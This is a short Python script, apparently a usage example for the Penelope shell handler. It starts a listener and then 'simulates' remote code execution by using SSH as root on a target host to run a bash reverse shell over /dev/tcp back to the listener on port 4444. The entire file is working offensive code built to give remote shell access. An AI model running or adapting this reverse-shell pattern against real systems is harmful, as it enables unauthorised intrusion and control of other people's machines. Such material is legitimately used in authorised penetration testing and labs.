#!/usr/bin/python3

# Penelope
import penelope				# Importing penelope
penelope.options.silent = True		# Optionally
penelope.options.single_session = True	# Optionally
penelope.Listener()			# Starting the listener

# RCE simulation
import subprocess
TARGET_IP = '192.168.0.101'
MY_IP = '192.168.0.2'
SSH_USER = 'root'
subprocess.Popen(['ssh',f'{SSH_USER}@{TARGET_IP}',f"bash -c 'sh >& /dev/tcp/{MY_IP}/4444 0>&1'"],stdin=subprocess.DEVNULL,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
